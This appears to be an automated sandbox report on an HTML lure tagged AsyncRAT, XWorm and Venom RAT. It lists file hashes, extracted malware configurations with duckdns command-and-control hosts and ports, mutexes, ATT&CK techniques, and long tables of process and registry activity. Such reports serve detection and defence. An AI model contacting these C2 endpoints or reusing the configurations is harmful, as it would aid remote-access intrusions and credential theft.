asyncrat | 6c6fbc21d050edc1070a82bf8817015d2de88614a061438bb834f7ff2664c0a4

Analysis

max time kernel
930s
max time network
930s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
19-12-2024 14:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Inquiry.html
Size

312KB
MD5

d9be2b4df752bce538b17bb70d28c38d
SHA1

d11e735cce93726af9b17b7d524569dda0386e03
SHA256

52aa4dc388981844c67bcf7b6135d3706f275bf9f20bd88facf9e35c904e0cd3
SHA512

8ee8fef44ef372821cb3c8d7b229d833dbd8d7c289c4d8fb6547bdae69c7b14f2f038369238944d22c44b9fe87fd5ec208884d212aca6cb5e41c620029bcf363
SSDEEP

6:aO+3Q21JOAZBvbLAqtybbTJOAZBvbLPMERVbjMRJViktbJFC1DqbGAL4vFC8unAU:FF21pDgqunpDvBjMxikJu0XGztu0Xn

Score

10^/10

asyncrat xworm default venom clients credential_access discovery execution rat stealer trojan

Malware Config

Extracted

Family

asyncrat

Botnet

Default

sdanarchynd.duckdns.org:7878

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Default

soasyncb.duckdns.org:6745

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

asyncrat

Version

5.0.5

Botnet

Venom Clients

jkvernm.duckdns.org:8520

Mutex

Venom_RAT_HVNC_Mutex_Venom RAT_HVNC

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

xworm

Version

3.1

hnxwrm3.duckdns.org:8292

Mutex

7OmhyCIQgrHx3yxU

Attributes

install_file
USB.exe

aes.plain

Extracted

Family

xworm

Version

5.0

newxrm5.duckdns.org:9390

momentnb3901.duckdns.org:3901

Mutex

0IpUtNjbaz65ubYv

Attributes

install_file
USB.exe

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Detect Xworm Payload 3 IoCs

resource	yara_rule
behavioral2/memory/4072-11883-0x00000214D1BA0000-0x00000214D1BAE000-memory.dmp	family_xworm
behavioral2/memory/5092-11887-0x00000127C2070000-0x00000127C2080000-memory.dmp	family_xworm
behavioral2/memory/1224-11899-0x0000022ECCAF0000-0x0000022ECCB00000-memory.dmp	family_xworm

Suspicious use of NtCreateUserProcessOtherParentProcess 7 IoCs

description	pid	Process	procid_target
PID 3664 created 3504	3664	python.exe	56
PID 4604 created 3504	4604	python.exe	56
PID 2984 created 3504	2984	python.exe	56
PID 5040 created 3504	5040	python.exe	56
PID 3012 created 3504	3012	python.exe	56
PID 544 created 3504	544	python.exe	56
PID 2472 created 3504	2472	python.exe	56

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Async RAT payload 3 IoCs

rat

resource	yara_rule
behavioral2/memory/2336-11857-0x0000021595C10000-0x0000021595C26000-memory.dmp	family_asyncrat
behavioral2/memory/4664-11861-0x000001C9B4A10000-0x000001C9B4A22000-memory.dmp	family_asyncrat
behavioral2/memory/2972-11879-0x0000018CCFF30000-0x0000018CCFF46000-memory.dmp	family_asyncrat

Blocklisted process makes network request 8 IoCs

flow	pid	Process
69	3612	powershell.exe
72	5036	powershell.exe
123	4884	powershell.exe
126	1680	powershell.exe
129	1512	powershell.exe
132	1700	powershell.exe
133	4912	powershell.exe
134	2348	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1700	powershell.exe
3992	powershell.exe
3612	powershell.exe
684	powershell.exe
1680	powershell.exe
4912	powershell.exe
2348	powershell.exe
5036	powershell.exe
4884	powershell.exe
1512	powershell.exe
2560	powershell.exe
5072	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	WScript.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Executes dropped EXE 7 IoCs

pid	Process
3664	python.exe
4604	python.exe
2984	python.exe
5040	python.exe
3012	python.exe
544	python.exe
2472	python.exe

Loads dropped DLL 42 IoCs

pid	Process
3664	python.exe
3664	python.exe
3664	python.exe
3664	python.exe
3664	python.exe
3664	python.exe
4604	python.exe
4604	python.exe
4604	python.exe
4604	python.exe
4604	python.exe
4604	python.exe
2984	python.exe
2984	python.exe
2984	python.exe
2984	python.exe
2984	python.exe
2984	python.exe
5040	python.exe
5040	python.exe
5040	python.exe
5040	python.exe
5040	python.exe
5040	python.exe
3012	python.exe
3012	python.exe
3012	python.exe
3012	python.exe
3012	python.exe
3012	python.exe
544	python.exe
544	python.exe
544	python.exe
544	python.exe
544	python.exe
544	python.exe
2472	python.exe
2472	python.exe
2472	python.exe
2472	python.exe
2472	python.exe
2472	python.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
1252	tasklist.exe
1860	tasklist.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133790910838403028"	chrome.exe

Modifies registry class 58 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\LogicalViewMode = "1"	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Generic"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1 = 3a002e803accbfb42cdb4c42b0297fe99a87c641260001002600efbe11000000ab5278529918db010a8978a69e18db010a8978a69e18db0114000000	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 14002e8005398e082303024b98265d99428e115f0000	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:PID = "14"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByDirection = "4294967295"	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\KnownFolderDerivedFolderType = "{885A186E-A440-4ADA-812B-DB871B942259}"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\NodeSlot = "2"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1092616257"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\MRUListEx = ffffffff	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 0100000000000000ffffffff	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\IconSize = "16"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1"	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Mode = "4"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0e000000ffffffff	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupView = "4294967295"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Downloads"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	msedge.exe

Opens file in notepad (likely ransom note) 2 IoCs

ransomware

pid	Process
4520	NOTEPAD.EXE
2220	Notepad.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2636	msedge.exe
2636	msedge.exe
4784	msedge.exe
4784	msedge.exe
684	identity_helper.exe
684	identity_helper.exe
1820	msedge.exe
1820	msedge.exe
3612	powershell.exe
3612	powershell.exe
3612	powershell.exe
1600	msedge.exe
1600	msedge.exe
1600	msedge.exe
1600	msedge.exe
5036	powershell.exe
5036	powershell.exe
5036	powershell.exe
860	chrome.exe
860	chrome.exe
2560	powershell.exe
2560	powershell.exe
2560	powershell.exe
3244	chrome.exe
3244	chrome.exe
3244	chrome.exe
3244	chrome.exe
3664	python.exe
4604	python.exe
2984	python.exe
5040	python.exe
3012	python.exe
544	python.exe
4072	notepad.exe
4072	notepad.exe
2472	python.exe
5092	notepad.exe
5092	notepad.exe
684	powershell.exe
684	powershell.exe
684	powershell.exe
4884	powershell.exe
4884	powershell.exe
4884	powershell.exe
1224	notepad.exe
1224	notepad.exe
1680	powershell.exe
1680	powershell.exe
1680	powershell.exe
1512	powershell.exe
1512	powershell.exe
1512	powershell.exe
1700	powershell.exe
1700	powershell.exe
1700	powershell.exe
4912	powershell.exe
4912	powershell.exe
4912	powershell.exe
2348	powershell.exe
2348	powershell.exe
2348	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 23 IoCs

pid	Process
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
3664	python.exe
4604	python.exe
2984	python.exe
5040	python.exe
3012	python.exe
544	python.exe
2472	python.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1252	tasklist.exe
Token: SeDebugPrivilege	1860	tasklist.exe
Token: SeDebugPrivilege	3612	powershell.exe
Token: SeDebugPrivilege	5036	powershell.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe
Token: SeShutdownPrivilege	860	chrome.exe
Token: SeCreatePagefilePrivilege	860	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe

Suspicious use of SendNotifyMessage 58 IoCs

pid	Process
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
4784	msedge.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe
860	chrome.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1820	msedge.exe
4072	notepad.exe
5092	notepad.exe
1224	notepad.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4784 wrote to memory of 3144	4784	msedge.exe	83
PID 4784 wrote to memory of 3144	4784	msedge.exe	83
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
PID 4784 wrote to memory of 3852	4784	msedge.exe	84
